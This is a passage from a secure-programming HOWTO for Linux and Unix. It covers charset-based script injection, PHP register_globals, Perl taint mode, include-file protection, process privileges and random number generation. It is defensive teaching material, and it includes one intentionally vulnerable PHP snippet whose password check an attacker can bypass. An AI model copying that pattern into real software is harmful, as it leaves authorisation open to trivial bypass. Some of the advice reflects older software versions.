Many web pages leave the character encoding ("charset" parameter in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to ISO-8859-1 if it wasn't defined. In fact, many browsers had a different default, so it was not possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes this - if the character encoding isn't specified, any character encoding can be used.

If the web server doesn't specify which character encoding is in use, it can't tell which characters are special. Web pages with unspecified character encoding work most of the time because most character sets assign the same characters to byte values below 128. But which of the values above 128 are special? Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<". Some browsers recognize this alternative encoding and act on it. This is "correct" behavior, but it makes attacks using malicious scripts much harder to prevent. The server simply doesn't know which byte sequences represent the special characters.

For example, UTF-7 provides alternative encoding for "<" and ">", and several popular browsers recognize these as the start and end of a tag. This is not a bug in those browsers. If the character encoding really is UTF-7, then this is correct behavior. The problem is that it is possible to get into a situation in which the browser and the server disagree on the encoding.

Thankfully, though explaining the issue is tricky, its resolution in HTML is easy. In the HTML header, simply specify the charset, like this example from CERT:
<HTML>
<HEAD>
<META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
<TITLE>HTML SAMPLE</TITLE>
</HEAD>
<BODY>
<P>This is a sample HTML page
</BODY>
</HTML>

From a technical standpoint, an even better approach is to set the character encoding as part of the HTTP protocol output, though some libraries make this more difficult. This is technically better because it doesn't force the client to examine the header to determine a character encoding that would enable it to read the META information in the header. Of course, in practice a browser that couldn't read the META information given above and use it correctly would not succeed in the marketplace, but that's a different issue. In any case, this just means that the server would need to send as part of the HTTP protocol, a ``charset'' with the desired value. Unfortunately, it's hard to heartily recommend this (technically better) approach, because some older HTTP/1.0 clients did not deal properly with an explicit charset parameter. Although the HTTP/1.1 specification requires clients to obey the parameter, it's suspicious enough that you probably ought to use it as an adjunct to forcing the use of the correct character encoding, and not your sole mechanism.

Prev | Home | Next
Control Data Formatting (``Format Strings'') | Up | Prevent Include/Configuration File Access


PAM

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.9. PAM

Sun Solaris and nearly all Linux systems use the Pluggable Authentication Modules (PAM) system for authentication. PAM permits run-time configuration of authentication methods (e.g., use of passwords, smart cards, etc.). See Section 10.6 for more information on using PAM.

Prev | Home | Next
Audit | Up | Specialized Security Extensions for Unix-like Systems


Paranoia is a Virtue

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.6. Paranoia is a Virtue

The primary difficulty in writing secure programs is that writing them requires a different mind-set, in short, a paranoid mind-set. The reason is that the impact of errors (also called defects or bugs) can be profoundly different.

Normal non-secure programs have many errors. While these errors are undesirable, these errors usually involve rare or unlikely situations, and if a user should stumble upon one they will try to avoid using the tool that way in the future.

In secure programs, the situation is reversed. Certain users will intentionally search out and cause rare or unlikely situations, in the hope that such attacks will give them unwarranted privileges. As a result, when writing secure programs, paranoia is a virtue.

Prev | Home | Next
Types of Secure Programs | Up | Why Did I Write This Document?


Passwords

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.1. Passwords

Where possible, don't write code to handle passwords. In particular, if the application is local, try to depend on the normal login authentication by a user. If the application is a CGI script, try to depend on the web server to provide the protection as much as possible - but see below about handling authentication in a web server. If the application is over a network, avoid sending the password as cleartext (where possible) since it can be easily captured by network sniffers and reused later. ``Encrypting'' a password using some key fixed in the algorithm or using some sort of shrouding algorithm is essentially the same as sending the password as cleartext.

For networks, consider at least using digest passwords. Digest passwords are passwords developed from hashes; typically the server will send the client some data (e.g., date, time, name of server), the client combines this data with the user password, the client hashes this value (termed the ``digest pasword'') and replies just the hashed result to the server; the server verifies this hash value. This works, because the password is never actually sent in any form; the password is just used to derive the hash value. Digest passwords aren't considered ``encryption'' in the usual sense and are usually accepted even in countries with laws constraining encryption for confidentiality. Digest passwords are vulnerable to active attack threats but protect against passive network sniffers. One weakness is that, for digest passwords to work, the server must have all the unhashed passwords, making the server a very tempting target for attack.

If your application permits users to set their passwords, check the passwords and permit only ``good'' passwords (e.g., not in a dictionary, having certain minimal length, etc.). You may want to look at information such as http://consult.cern.ch/writeup/security/security_3.html on how to choose a good password. You should use PAM if you can, because it supports pluggable password checkers.

Prev | Home | Next
Special Topics | Up | Authenticating on the Web


Perl

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.2. Perl

Perl programmers should first read the man page perlsec(1), which describes a number of issues involved with writing secure programs in Perl. In particular, perlsec(1) describes the ``taint'' mode, which most secure Perl programs should use. Taint mode is automatically enabled if the real and effective user or group IDs differ, or you can use the -T command line flag (use the latter if you're running on behalf of someone else, e.g., a CGI script). Taint mode turns on various checks, such as checking path directories to make sure they aren't writable by others.

The most obvious affect of taint mode, however, is that you may not use data derived from outside your program to affect something else outside your program by accident. In taint mode, all externally-obtained input is marked as ``tainted'', including command line arguments, environment variables, locale information (see perllocale(1)), results of certain system calls (readdir, readlink, the gecos field of getpw* calls), and all file input. Tainted data may not be used directly or indirectly in any command that invokes a sub-shell, nor in any command that modifies files, directories, or processes. There is one important exception: If you pass a list of arguments to either system or exec, the elements of that list are NOT checked for taintedness, so be especially careful with system or exec while in taint mode.

Any data value derived from tainted data becomes tainted also. There is one exception to this; the way to untaint data is to extract a substring of the tainted data. Don't just use ``.*'' blindly as your substring, though, since this would defeat the tainting mechanism's protections. Instead, identify patterns that identify the ``safe'' pattern allowed by your program, and use them to extract ``good'' values. After extracting the value, you may still need to check it (in particular for its length).

The open, glob, and backtick functions call the shell to expand filename wild card characters; this can be used to open security holes. You can try to avoid these functions entirely, or use them in a less-privileged ``sandbox'' as described in perlsec(1). In particular, backticks should be rewritten using the system() call (or even better, changed entirely to something safer).

The perl open() function comes with, frankly, ``way too much magic'' for most secure programs; it interprets text that, if not carefully filtered, can create lots of security problems. Before writing code to open or lock a file, consult the perlopentut(1) man page. In most cases, sysopen() provides a safer (though more convoluted) approach to opening a file. The new Perl 5.6 adds an open() call with 3 parameters to turn off the magic behavior without requiring the convolutions of sysopen().

Perl programs should turn on the warning flag (-w), which warns of potentially dangerous or obsolete statements.

You can also run Perl programs in a restricted environment. For more information see the ``Safe'' module in the standard Perl distribution. I'm uncertain of the amount of auditing that this has undergone, so beware of depending on this for security. You might also investigate the ``Penguin Model for Secure Distributed Internet Scripting'', though at the time of this writing the code and documentation seems to be unavailable.

Prev | Home | Next
C/C++ | Up | Python


PHP

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.8. PHP

SecureReality has put out a very interesting paper titled ``A Study In Scarlet - Exploiting Common Vulnerabilities in PHP'' [Clowes 2001], which discusses some of the problems in writing secure programs in PHP, particularly in versions before PHP 4.1.0. Clowes concludes that ``it is very hard to write a secure PHP application (in the default configuration of PHP), even if you try''.

Granted, there are security issues in any language, but one particular issue stands out in PHP that arguably makes PHP less secure than most languages: the way it loads data into its namespace. By default, in PHP (versions 4.1.0 and lower) all environment variables and values sent to PHP over the web are automatically loaded into the same namespace (global variables) that normal variables are loaded into - so attackers can set arbitrary variables to arbitrary values, which keep their values unless explicitly reset by a PHP program. In addition, PHP automatically creates variables with a default value when they're first requested, so it's common for PHP programs to not initialize variables. If you forget to set a variable, PHP can report it, but by default PHP won't - and note that this simply an error report, it won't stop an attacker who finds an unusual way to cause it. Thus, by default PHP allows an attacker to completely control the values of all variables in a program unless the program takes special care to override the attacker. Once the program takes over, it can reset these variables, but failing to reset any variable (even one not obvious) might open a vulnerability in the PHP program.

For example, the following PHP program (an example from Clowes) intends to only let those who know the password to get some important information, but an attacker can set ``auth'' in their web browser and subvert the authorization check:
 <?php
  if ($pass == "hello")
   $auth = 1;
  ...
  if ($auth == 1)
   echo "some important information";
 ?>

I and many others have complained about this particularly dangerous problem; it's particularly a problem because PHP is widely used. A language that's supposed to be easy to use better make it easy to write secure programs in, after all. It's possible to disable this misfeature in PHP by turning the setting ``register_globals'' to ``off'', but by default PHP versions up through 4.1.0 default set this to ``on'' and PHP before 4.1.0 is harder to use with register_globals off. The PHP developers stated in their PHP 4.1.0 announcenment that ``as of the next semi-major version of PHP, new installations of PHP will default to having register_globals set to off.''

PHP with ``register_globals'' set to ``on'' is a dangerous choice for nontrivial programs - it's just too easy to write insecure programs. However, once ``register_globals'' is set to ``off'', PHP is quite a reasonable language for development.

The secure default should include setting ``register_globals'' to ``off'', and also including several functions to make it much easier to for users to specify and limit the input they'll accept from external sources. Then web servers (such as Apache) could separately configure this secure PHP installation. Routines could be placed in the PHP library to make it easy for users to list the input variables they want to accept; some functions could check the patterns these variables must have and/or the type that the variable must be coerced to. In my opinion, PHP is currently a bad choice for secure web development (register_globals is on), but PHP could be trivially modified to become a reasonable choice.

If you've decided to use PHP, here are some of my recommendations (many of these recommendations are based on ways to counter the issues that Clowes raises):

  • Set the PHP configuration option ``register_globals'' off, and use PHP 4.1.0 or greater. PHP 4.1.0 adds several special arrays, particularly $_REQUEST, which makes it far simpler to develop software in PHP when ``register_globals'' is off. Setting register_globals completely eliminates the most common PHP attack, and prepares you for the time when this will be the default for new installations. If you're assuming that register_globals is off, you should check for this first (and halt if it's not true) - that way, people who install your program will quickly know there's a problem. Note that few third-party PHP applications can work with this setting, so it's hard to keep it off for an entire website at this time. Also, disabling ``register_globals'' is more difficult when you're being hosted by a third party. It's possible to set register_globals off for only some programs. For example, for Apache, you could insert these lines into the file .htaccess in the PHP directory (or use Directory directives to control it further):
     php_flag register_globals Off
 php_flag track_vars On
    However, the .htaccess file itself is ignored unless the Apache web server is configured to permit overrides; often the Apache global configuration is set so that AllowOverride is set to None. So, for Apache users, if you can convince your web hosting service to set ``AllowOverride Options'' in their configuration file (often /etc/http/conf/http.conf) for your host, do that. Then write helper functions to simplify loading the data you need (and only that data).

  • If you must develop software where register_globals might be on while running (e.g., a widely-deployed PHP application), always set values not provided by the user. Don't depend on PHP default values, and don't trust any variable you haven't explicitly set. Note that you have to do this for every entry point (e.g., every PHP program or HTML file using PHP). The best approach is to begin each PHP program by setting all variables you'll be using, even if you're simply resetting them to the usual default values (like "" or 0). This includes global variables referenced in included files, even all libraries, transitively. Unfortunately, this makes this recommendation hard to do, because few developers truly know and understand all global variables that may be used by all functions they call. One lesser alternative is to search through HTTP_GET_VARS, HTTP_POST_VARS, HTTP_COOKIE_VARS, and HTTP_POST_FILES to see if the user provided the data - but programmers often forget to check all sources, and what happens if PHP adds a new data source (e.g., HTTP_POST_FILES wasn't in old versions of PHP).

  • Set the error reporting level to E_ALL, and resolve all errors reported by it during testing. Among other things, this will complain about un-initialized variables, which are a key issues in PHP. This is a good idea anyway whenever you start using PHP, because this helps debug programs, too. There are many ways to set the error reporting level, including in the ``php.ini'' file (global), the ``.htttpd.conf'' file (single-host), the ``.htaccess'' file (multi-host), or at the top of the script through the error_reporting function. I recommend setting the error reporting level in both the php.ini file and also at the top of the script; that way, you're protected if (1) you forget to insert the command at the top of the script, or (2) move the program to another machine and forget to change the php.ini file. Thus, every PHP program should begin like this:
      <?php error_reporting(E_ALL);?>
    It could be argued that this error reporting should be turned on during development, but turned off when actually run on a real site (since such error message could give useful information to an attacker). The problem is that if they're disabled during ``actual use'' it's all too easy to leave them disabled during development. So for the moment, I suggest the simple approach of simply including it in every entrance.

  • Filter any user information used to create filenames carefully, in particular to prevent remote file access. PHP by default comes with ``remote files'' functionality -- that means that file-opening commands like fopen(), that in other languages can only open local files, can actually be used to invoke web or ftp requests from another site.

  • Do not use old-style PHP file uploads; use the HTTP_POST_FILES array and related functions. PHP supports file uploads by uploading the file to some temporary directory with a special filename. PHP originally set a colleciton of variables to indicate where that filename was, but since an attacker can control variable names and their values, attackers could use that ability to cause great mischief. Instead, always use HTTP_POST_FILES and related functions to access uploaded files. Note that even in this case, PHP's approach permits attackers to temporarily upload files to you with arbitrary content, which is risky by itself.

  • Only place protected entry points in the document tree; place all other code (which should be most of it) outside the document tree. PHP has a history of unfortunate advice on this topic. Originally, PHP users were supposed to use the ``.inc'' (include) extension for ``included'' files, but these included files often had passwords and other information, and Apache would just give requesters the contents of the ``.inc'' files when asked to do so when they were in the document tree. Then developers gave all files a ``.php'' extension - which meant that the contents weren't seen, but now files never meant to be entry points became entry points and were sometimes exploitable. As mentioned earlier, the usual security advice is the best: place only the proected entry points (files) in the document tree, and place other code (e.g., libraries) outside the document tree. There shouldn't be any ``.inc'' files in the document tree at all.

  • Avoid the session mechanism. The ``session'' mechanism is handy for storing persistent data, but its current implementation has many problems. First, by default sessions store information in temporary files - so if you're on a multi-hosted system, you open yourself up to many attacks and revelations. Even those who aren't currently multi-hosted may find themselves multi-hosted later! You can "tie" this information into a database instead of the filesystem, but if others on a multi-hosted database can access that database with the same permissions, the problem is the same. There are also ambiguities if you're not careful (``is this the session value or an attacker's value''?) and this is another case where an attacker can force a file or key to reside on the server with content of their choosing - a dangerous situation - and the attacker can even control to some extent the name of the file or key where this data will be placed.

  • For all inputs, check that they match a pattern for acceptability (as with any language), and then use type casting to coerce non-string data into the type it should have. Develop ``helper'' functions to easily check and import a selected list of (expected) inputs. PHP is loosely typed, and this can cause trouble. For example, if an input datum has the value "000", it won't be equal to "0" nor is it empty(). This is particularly important for associative arrays, because their indexes are strings; this means that $data["000"] is different than $data["0"]. For example, to make sure $bar has type double (after making sure it only has the format legal for a double):
      $bar = (double) $bar;

  • Be especially careful of risky functions. This includes those that perform PHP code execution (e.g., require(), include(), eval(), preg_replace()), command execution (e.g., exec(), passthru(), the backtick operator, system(), and popen()), and open files (e.g., fopen(), readfile(), and file()). This is not an exhaustive list!

  • Use magic_quotes_gpc() where appropriate - this eliminates many kinds of attacks.

Prev | Home | Next
TCL | Up | Special Topics


Physical Emissions

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.10. Physical Emissions

Although it's really outside the scope of this book, it's important to remember that computing and communications equipment leaks a lot information that makes them hard to really secure. Many people are aware of TEMPEST requirements which deal with radio frequency emissions of computers, displays, keyboards, and other components which can be eavesdropped. Displays can also be eavesdropped, even if it's bounced off an office wall at great distance [Kuhn 2002]. Modem lights are also enough to determine the underlying communication.

Prev | Home | Next
Write Audit Records | Up | Miscellaneous


Prevent Include/Configuration File Access

Secure Programming for Linux and Unix HOWTO
Prev Chapter 8. Send Information Back Judiciously Next

8.6. Prevent Include/Configuration File Access

When developing web based applications, do not allow users to access (read) files such as the program include and configuration files. This data may provide enough information (e.g., passwords) to break into the system. Note that this guideline sometimes also applies to other kinds of applications. There are several actions you can take to do this, including:

  • Place the include/configuration files outside of the web documentation root (so that the web server will never serve the files).

  • Configure the web server so it will not serve include files as text. For example, if you're using Apache, you can add a handler or an action for .inc files.

  • Place the include files in a protected directory (using .htaccess), and designate them as files that won't be served.

  • Use a filter to deny access to the files. For Apache, this can be done using:
     <Files ~ "\.phpincludes">
    Order allow,deny
    Deny from all
 </Files>
    If you need full regular expressions to match filenames, in Apache you could use the FilesMatch directive.

  • If your include file is a valid script file, which your server will parse, make sure that it doesn't act on user-supplied parameters and that it's designed to be secure.

These approaches won't protect you from users who have access to the directories your files are in if they are world-readable. You could change the permissions of the files so that only the uid/gid of the webserver can read these files. However, this approach won't work if the user can get the web server to run his own scripts (the user can just write scripts to access your files). Fundamentally, if your site is being hosted on a server shared with untrusted people, it's harder to secure the the system. One approach is to run multiple web serving programs, each with different permissions; this provides more security but is painful in practice. Another approach is to set these files to be read only by your uid/gid, and have the server run scripts at ``your'' permission. This latter approach has its own problems: it means that certain parts of the server must have root privileges, and that the script may have more permissions than necessary.

Prev | Home | Next
Control Character Encoding in Output | Up | Language-Specific Issues


Processes

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.1. Processes

In Unix-like systems, user-level activities are implemented by running processes. Most Unix systems support a ``thread'' as a separate concept; threads share memory inside a process, and the system scheduler actually schedules threads. Linux does this differently (and in my opinion uses a better approach): there is no essential difference between a thread and a process. Instead, in Linux, when a process creates another process it can choose what resources are shared (e.g., memory can be shared). The Linux kernel then performs optimizations to get thread-level speeds; see clone(2) for more information. It's worth noting that the Linux kernel developers tend to use the word ``task'', not ``thread'' or ``process'', but the external documentation tends to use the word process (so I'll use the term ``process'' here). When programming a multi-threaded application, it's usually better to use one of the standard thread libraries that hide these differences. Not only does this make threading more portable, but some libraries provide an additional level of indirection, by implementing more than one application-level thread as a single operating system thread; this can provide some improved performance on some systems for some applications.

3.1.1. Process Attributes

Here are typical attributes associated with each process in a Unix-like system:

  • RUID, RGID - real UID and GID of the user on whose behalf the process is running

  • EUID, EGID - effective UID and GID used for privilege checks (except for the filesystem)

  • SUID, SGID - Saved UID and GID; used to support switching permissions ``on and off'' as discussed below. Not all Unix-like systems support this, but the vast majority do (including Linux and Solaris); if you want to check if a given system implements this option in the POSIX standard, you can use sysconf(2) to determine if _POSIX_SAVED_IDS is in effect.

  • supplemental groups - a list of groups (GIDs) in which this user has membership. In the original version 7 Unix, this didn't exist - processes were only a member of one group at a time, and a special command had to be executed to change that group. BSD added support for a list of groups in each process, which is more flexible, and this addition is now widely implemented (including by Linux and Solaris).

  • umask - a set of bits determining the default access control settings when a new filesystem object is created; see umask(2).

  • scheduling parameters - each process has a scheduling policy, and those with the default policy SCHED_OTHER have the additional parameters nice, priority, and counter. See sched_setscheduler(2) for more information.

  • limits - per-process resource limits (see below).

  • filesystem root - the process' idea of where the root filesystem ("/") begins; see chroot(2).

Here are less-common attributes associated with processes:

  • FSUID, FSGID - UID and GID used for filesystem access checks; this is usually equal to the EUID and EGID respectively. This is a Linux-unique attribute.

  • capabilities - POSIX capability information; there are actually three sets of capabilities on a process: the effective, inheritable, and permitted capabilities. See below for more information on POSIX capabilities. Linux kernel version 2.2 and greater support this; some other Unix-like systems do too, but it's not as widespread.

In Linux, if you really need to know exactly what attributes are associated with each process, the most definitive source is the Linux source code, in particular /usr/include/linux/sched.h's definition of task_struct.

The portable way to create new processes it use the fork(2) call. BSD introduced a variant called vfork(2) as an optimization technique. The bottom line with vfork(2) is simple: don't use it if you can avoid it. See Section 7.6 for more information.

Linux supports the Linux-unique clone(2) call. This call works like fork(2), but allows specification of which resources should be shared (e.g., memory, file descriptors, etc.). Various BSD systems implement an rfork() system call (originally developed in Plan9); it has different semantics but the same general idea (it also creates a process with tighter control over what is shared). Portable programs shouldn't use these calls directly, if possible; as noted earlier, they should instead rely on threading libraries that use such calls to implement threads.

This book is not a full tutorial on writing programs, so I will skip widely-available information handling processes. You can see the documentation for wait(2), exit(2), and so on for more information.

3.1.2. POSIX Capabilities

POSIX capabilities are sets of bits that permit splitting of the privileges typically held by root into a larger set of more specific privileges. POSIX capabilities are defined by a draft IEEE standard; they're not unique to Linux but they're not universally supported by other Unix-like systems either. Linux kernel 2.0 did not support POSIX capabilities, while version 2.2 added support for POSIX capabilities to processes. When Linux documentation (including this one) says ``requires root privilege'', in nearly all cases it really means ``requires a capability'' as documented in the capability documentation. If you need to know the specific capability required, look it up in the capability documentation.

In Linux, the eventual intent is to permit capabilities to be attached to files in the filesystem; as of this writing, however, this is not yet supported. There is support for transferring capabilities, but this is disabled by default. Linux version 2.2.11 added a feature that makes capabilities more directly useful, called the ``capability bounding set''. The capability bounding set is a list of capabilities that are allowed to be held by any process on the system (otherwise, only the special init process can hold it). If a capability does not appear in the bounding set, it may not be exercised by any process, no matter how privileged. This feature can be used to, for example, disable kernel module loading. A sample tool that takes advantage of this is LCAP at http://pweb.netcom.com/~spoon/lcap/.

More information about POSIX capabilities is available at ftp://linux.kernel.org/pub/linux/libs/security/linux-privs.

3.1.3. Process Creation and Manipulation

Processes may be created using fork(2), the non-recommended vfork(2), or the Linux-unique clone(2); all of these system calls duplicate the existing process, creating two processes out of it. A process can execute a different program by calling execve(2), or various front-ends to it (for example, see exec(3), system(3), and popen(3)).

When a program is executed, and its file has its setuid or setgid bit set, the process' EUID or EGID (respectively) is usually set to the file's value. This functionality was the source of an old Unix security weakness when used to support setuid or setgid scripts, due to a race condition. Between the time the kernel opens the file to see which interpreter to run, and when the (now-set-id) interpreter turns around and reopens the file to interpret it, an attacker might change the file (directly or via symbolic links).

Different Unix-like systems handle the security issue for setuid scripts in different ways. Some systems, such as Linux, completely ignore the setuid and setgid bits when executing scripts, which is clearly a safe approach. Most modern releases of SysVr4 and BSD 4.4 use a different approach to avoid the kernel race condition. On these systems, when the kernel passes the name of the set-id script to open to the interpreter, rather than using a pathname (which would permit the race condition) it instead passes the filename /dev/fd/3. This is a special file already opened on the script, so that there can be no race condition for attackers to exploit. Even on these systems I recommend against using the setuid/setgid shell scripts language for secure programs, as discussed below.

In some cases a process can affect the various UID and GID values; see setuid(2), seteuid(2), setreuid(2), and the Linux-unique setfsuid(2). In particular the saved user id (SUID) attribute is there to permit trusted programs to temporarily switch UIDs. Unix-like systems supporting the SUID use the following rules: If the RUID is changed, or the EUID is set to a value not equal to the RUID, the SUID is set to the new EUID. Unprivileged users can set their EUID from their SUID, the RUID to the EUID, and the EUID to the RUID.

The Linux-unique FSUID process attribute is intended to permit programs like the NFS server to limit themselves to only the filesystem rights of some given UID without giving that UID permission to send signals to the process. Whenever the EUID is changed, the FSUID is changed to the new EUID value; the FSUID value can be set separately using setfsuid(2), a Linux-unique call. Note that non-root callers can only set FSUID to the current RUID, EUID, SEUID, or current FSUID values.

Prev | Home | Next
Summary of Linux and Unix Security Features | Up | Files


Specially Protect Secrets (Passwords and Keys) in User Memory

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.4. Specially Protect Secrets (Passwords and Keys) in User Memory

If your application must handle passwords or non-public keys (such as session keys, private keys, or secret keys), overwrite them immediately after using them so they have minimal exposure. For example, in Java, don't use the type String to store a password because Strings are immutable (they will not be overwritten until garbage-collected and reused, possibly a far time in the future). Instead, in Java use char[] to store a password, so it can be immediately overwritten.

Also, if your program handles such secret values, be sure to disable creating core dumps (via ulimit). Otherwise, an attacker may be able to halt the program and find the secret value in the data dump. Also, beware - normally processes can monitor other processes through the calls for debuggers (e.g., via ptrace(2) and the /proc pseudo-filesystem) [Venema 1996] Kernels usually protect against these monitoring routines if the process is setuid or setgid (on the few ancient ones that don't, there really isn't a way to defend yourself other than upgrading). Thus, if your process manages secret values, you probably should make it setgid or setuid (to a different unprivileged group or user) to forceably inhibit this kind of monitoring.

Prev | Home | Next
Random Numbers | Up | Cryptographic Algorithms and Protocols


Python

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.3. Python

As with any language, beware of any functions which allow data to be executed as parts of a program, to make sure an untrusted user can't affect their input. This includes exec(), eval(), and execfile() (and frankly, you should check carefully any call to compile()). The input() statement is also surprisingly dangerous. [Watters 1996, 150].

Python programs with privileges that can be invoked by unprivileged users (e.g., setuid/setgid programs) must not import the ``user'' module. The user module causes the pythonrc.py file to be read and executed. Since this file would be under the control of an untrusted user, importing the user module allows an attacker to force the trusted program to run arbitrary code.

Python does very little compile-time checking -- it has essentially no compile-time type information, and it doesn't even check that the number of parameters passed are legal for a given function or method. This is unfortunate, resulting in a lot of latent bugs (both John Viega and I have experienced this problem). Hopefully someday Python will implement optional static typing and type-checking, an idea that's been discussed for some time. A partial solution for now is PyChecker, a lint-like program that checks for common bugs in Python source code. You can get PyChecker from http://pychecker.sourceforge.net

Python includes support for ``Restricted Execution'' through its RExec class. This is primarily intended for executing applets and mobile code, but it can also be used to limit privilege in a program even when the code has not been provided externally. By default, a restricted execution environment permits reading (but not writing) of files, and does not include operations for network access or GUI interaction. These defaults can be changed, but beware of creating loopholes in the restricted environment. In particular, allowing a user to unrestrictedly add attributes to a class permits all sorts of ways to subvert the environment because Python's implementation calls many ``hidden'' methods. Note that, by default, most Python objects are passed by reference; if you insert a reference to a mutable value into a restricted program's environment, the restricted program can change the object in a way that's visible outside the restricted environment! Thus, if you want to give access to a mutable value, in many cases you should copy the mutable value or use the Bastion module (which supports restricted access to another object). For more information, see Kuchling [2000]. I'm uncertain of the amount of auditing that the restricted execution capability has undergone, so programmer beware.

Prev | Home | Next
Perl | Up | Shell Scripting Languages (sh and csh Derivatives)


Quotas and Limits

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.6. Quotas and Limits

Many Unix-like systems have mechanisms to support filesystem quotas and process resource limits. This certainly includes Linux. These mechanisms are particularly useful for preventing denial of service attacks; by limiting the resources available to each user, you can make it hard for a single user to use up all the system resources. Be careful with terminology here, because both filesystem quotas and process resource limits have ``hard'' and ``soft'' limits but the terms mean slightly different things.

You can define storage (filesystem) quota limits on each mountpoint for the number of blocks of storage and/or the number of unique files (inodes) that can be used, and you can set such limits for a given user or a given group. A ``hard'' quota limit is a never-to-exceed limit, while a ``soft'' quota can be temporarily exceeded. See quota(1), quotactl(2), and quotaon(8).

The rlimit mechanism supports a large number of process quotas, such as file size, number of child processes, number of open files, and so on. There is a ``soft'' limit (also called the current limit) and a ``hard limit'' (also called the upper limit). The soft limit cannot be exceeded at any time, but through calls it can be raised up to the value of the hard limit. See getrlimit(2), setrlimit(2), and getrusage(2), sysconf(3), and ulimit(1). Note that there are several ways to set these limits, including the PAM module pam_limits.

Prev | Home | Next
Signals | Up | Dynamically Linked Libraries


Random Numbers

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.3. Random Numbers

In many cases secure programs must generate ``random'' numbers that cannot be guessed by an adversary. Examples include session keys, public or private keys, symmetric keys, nonces and IVs used in many protocols, salts, and so on. Ideally, you should use a truly random source of data for random numbers, such as values based on radioactive decay (through precise timing of Geiger counter clicks), atmospheric noise, or thermal noise in electrical circuits. Some computers have a hardware component that functions as a real random value generator, and if it's available you should use it.

However, most computers don't have hardware that generates truly random values, so in most cases you need a way to generate random numbers that is sufficiently random that an adversary can't predict it. In general, this means that you'll need three things:

  • An ``unguessable'' state; typically this is done by measuring variances in timing of low-level devices (keystrokes, disk drive arm jitter, etc.) in a way that an adversary cannot control.

  • A cryptographically strong pseudo-random number generator (PRNG), which uses the state to generate ``random'' numbers.

  • A large number of bits (in both the seed and the resulting value used). There's no point in having a strong PRNG if you only have a few possible values, because this makes it easy for an attacker to use brute force attacks. The number of bits necessary varies depending on the circumstance, however, since these are often used as cryptographic keys, the normal rules of thumb for keys apply. For a symmetric key (result), I'd use at least 112 bits (3DES), 128 bits is a little better, and 160 bits or more is even safer.

Typically the PRNG uses the state to generate some values, and then some of its values and other unguessable inputs are used to update the state. There are lots of ways to attack these systems. For example, if an attacker can control or view inputs to the state (or parts of it), the attacker may be able to determine your supposedly ``random'' number.

The real danger with PRNGs is that most computer language libraries include a large set of pseudo-random number generators (PRNGs) which are inappropriate for security purposes. Let me say it again: do not use typical random number generators for security purposes. Typical library PRNGs are intended for use in simulations, games, and so on; they are not sufficiently random for use in security functions such as key generation. Most non-cryptographic library PRNGs are some variation of ``linear congruential generators'', where the ``next'' random value is computed as "(aX+b) mod m" (where X is the previous value). Good linear congruential generators are fast and have useful statistical properties, making them appropriate for their intended uses. The problem with such PRNGs is that future values can be easily deduced by an attacker (though they may appear random). Other algorithms for generating random numbers quickly, such as quadratic generators and cubic generators, have also been broken [Schneier 1996]. In short, you have to use cryptographically strong PRNGs to generate random numbers in secure applications - ordinary random number libraries are not sufficient.

Failing to correctly generate truly random values for keys has caused a number of problems, including holes in Kerberos, the X window system, and NFS [Venema 1996].

If possible, you should use system services (typically provided by the operating system) that are expressly designed to create cryptographically secure random values. For example, the Linux kernel (since 1.3.30) includes a random number generator, which is sufficient for many security purposes. This random number generator gathers environmental noise from device drivers and other sources into an entropy pool. When accessed as /dev/random, random bytes are only returned within the estimated number of bits of noise in the entropy pool (when the entropy pool is empty, the call blocks until additional environmental noise is gathered). When accessed as /dev/urandom, as many bytes as are requested are returned even when the entropy pool is exhausted. If you are using the random values for cryptographic purposes (e.g., to generate a key) on Linux, use /dev/random. *BSD systems also include /dev/random. Solaris users with the SUNWski package also have /dev/random. Note that if a hardware random number generator is available and its driver is installed, it will be used instead. More information is available in the system documentation random(4).

On other systems, you'll need to find another way to get truly random results. One possibility for other Unix-like systems is the Entropy Gathering Daemon (EGD), which monitors system activity and hashes it into random values; you can get it at http://www.lothar.com/tech/crypto. You might consider using a cryptographic hash functions (e.g., SHA-1) on PRNG outputs. By using a hash algorithm, even if the PRNG turns out to be guessable, this means that the attacker must now also break the hash function.

If you have to implement a strong PRNG yourself, a good choice for a cryptographically strong (and patent-unencumbered) PRNG is the Yarrow algorithm; you can learn more about Yarrow from http://www.counterpane.com/yarrow.html. Some other PRNGs can be useful, but many widely-used ones have known weaknesses that may or may not matter depending on your application. Before implementing a PRNG yourself, consult the literature, such as [Kelsey 1998] and [McGraw 2000a]. You should also examine IETF RFC 1750.

Prev | Home | Next
Authenticating on the Web | Up | Specially Protect Secrets (Passwords and Keys) in User Memory


Configure Safely and Use Safe Defaults

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.7. Configure Safely and Use Safe Defaults

Configuration is considered to currently be the number one security problem. Therefore, you should spend some effort to (1) make the initial installation secure, and (2) make it easy to reconfigure the system while keeping it secure.

Never have the installation routines install a working ``default'' password. If you need to install new ``users'', that's fine - just set them up with an impossible password, leaving time for administrators to set the password (and leaving the system secure before the password is set). Administrators will probably install hundreds of packages and almost certainly forget to set the password - it's likely they won't even know to set it, if you create a default password.

A program should have the most restrictive access policy until the administrator has a chance to configure it. Please don't create ``sample'' working users or ``allow access to all'' configurations as the starting configuration; many users just ``install everything'' (installing all available services) and never get around to configuring many services. In some cases the program may be able to determine that a more generous policy is reasonable by depending on the existing authentication system, for example, an ftp server could legitimately determine that a user who can log into a user's directory should be allowed to access that user's files. Be careful with such assumptions, however.

